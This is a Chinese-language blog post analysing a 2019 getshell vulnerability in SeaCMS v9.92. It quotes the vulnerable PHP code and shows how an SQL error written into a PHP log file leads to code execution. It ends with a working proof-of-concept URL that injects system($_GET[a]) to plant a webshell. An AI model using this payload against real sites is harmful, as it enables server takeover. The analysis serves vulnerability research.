admin

seacmsv9.92 前台Getshell
seacmsv9.92 前台Getshell漏洞分析位置:/comment/api/index.php首先在第三行...
扫描右侧二维码阅读全文
30
2019/07

seacmsv9.92 前台Getshell

seacmsv9.92 前台Getshell

漏洞分析

位置:/comment/api/index.php
carbon -1-

首先在第三行引入了common.php文件
include/common.phpLine98~118
carbon
在这里对GET、POST、Cookie传入的参数进行注册
这里对后面漏洞的触发很重要吗,接着向下进行
carbon -2-

第19行进入了ReadData函数

function ReadData($id,$page)
{

    global $type,$pCount,$rlist;
    $ret = array("","",$page,0,10,$type,$id);
    if($id>0)
    {
        $ret[0] = Readmlist($id,$page,$ret[4]);
        $ret[3] = $pCount;
        $x = implode(',',$rlist);
        if(!empty($x))
        {
        $ret[1] = Readrlist($x,1,10000);
        }
    }    
    $readData = FormatJson($ret);
    return $readData;
}

global $type,$pCount,$rlist;这些参数都是通过前面提到过的注册而来的变量
重点在于$rlist

$x = implode(',',$rlist);
        if(!empty($x))
        {
        $ret[1] = Readrlist($x,1,10000);
        }

$list数组转换为字符串,接着进入到了Readrlist函数

function Readrlist($ids,$page,$size)
{
    global $dsql,$type;
    $rl=array();
    $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
    $dsql->setQuery($sql);
    $dsql->Execute('commentrlist');
    while($row=$dsql->GetArray('commentrlist'))
    {
        $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
    }
    $readrlist=join($rl,",");
    return $readrlist;
}

可以看到拼接入sql语句并执行了 AND id in ($ids)
接下来看下Execute函数
位置include/sql.class.php Line224~257

    //执行一个带返回结果的SQL语句,如SELECT,SHOW等
    function Execute($id="me", $sql='')
    {
        global $dsql;
        self::$i++;
        if($dsql->isClose)
        {
            $this->Open(false);
            $dsql->isClose = false;
        }
        if(!empty($sql))
        {
            $this->SetQuery($sql);
        }

        //SQL语句安全检查
        if($this->safeCheck)
        {
            CheckSql($this->queryString);
        }
    
    $t1 = ExecTime();
        
        $this->result[$id] = mysqli_query($this->linkID,$this->queryString);
        //查询性能测试
        //$queryTime = ExecTime() - $t1;
        //if($queryTime > 0.05) {
            //echo $this->queryString."--{$queryTime}<hr />\r\n"; 
        //}
        
        if($this->result[$id]===false)
        {
            $this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
        }
    }

重点在于255行的DisplayError函数

function DisplayError($msg)
    {
        $errorTrackFile = dirname(__FILE__).'/../data/mysqli_error_trace.php';
        //if( file_exists(dirname(__FILE__).'/../data/mysqli_error_trace.php') )
        //{
        //    @unlink(dirname(__FILE__).'/../data/mysqli_error_trace.php');
        //}
        $emsg = '';
        $emsg .= "<div><h3>seacms Error Warning!</h3>\r\n";
        $emsg .= "<div><a href='http://www.seacms.net/ 
' target='_blank' style='color:red'>Technical Support: http://www.seacms.net/</a></div>";
        $emsg .= "<div style='line-helght:160%;font-size:14px;color:green'>\r\n";
        $emsg .= "<div style='color:blue'><br />Error page: <font color='red'>".$this->GetCurUrl()."</font></div>\r\n";
        $emsg .= "<div>Error infos: {$msg}</div>\r\n";
        $emsg .= "<br /></div></div>\r\n";
        
        echo $emsg;
        
        
        $savemsg = 'Page: '.$this->GetCurUrl()."\r\nError: ".$msg;
        //保存MySql错误日志
        $fp = @fopen($errorTrackFile, 'a');
        @fwrite($fp, "\r\n<?php /*\r\n {$savemsg} \r\n*/  ?>\r\n\r\n");
        @fclose($fp);
    }

这个函数首先输出了提示错误的html代码,之后将mysql的错误日志保存在了data/mysqli_error_trace.php

$savemsg = 'Page: '.$this->GetCurUrl()."\r\nError: ".$msg;
        //保存MySql错误日志
        $fp = @fopen($errorTrackFile, 'a');
        @fwrite($fp, "\r\n<?php /*\r\n {$savemsg} \r\n*/  ?>\r\n\r\n");

这里就触发了漏洞

POC

这个漏洞的触发执行需要满足以下条件

  1. $page>2
  2. $rlist不可为空
  3. 触发sql错误
  4. 闭合文件中的注释

poc:/comment/api/index.php?type=1&gid=1&page=3&ran=123&rlist[]=123%27*/system($_GET[a]);/*



打开data/mysqli_error_trace.php

Last modification:July 30th, 2019 at 11:28 am
If you think my article is useful to you, please feel free to appreciate

Leave a Comment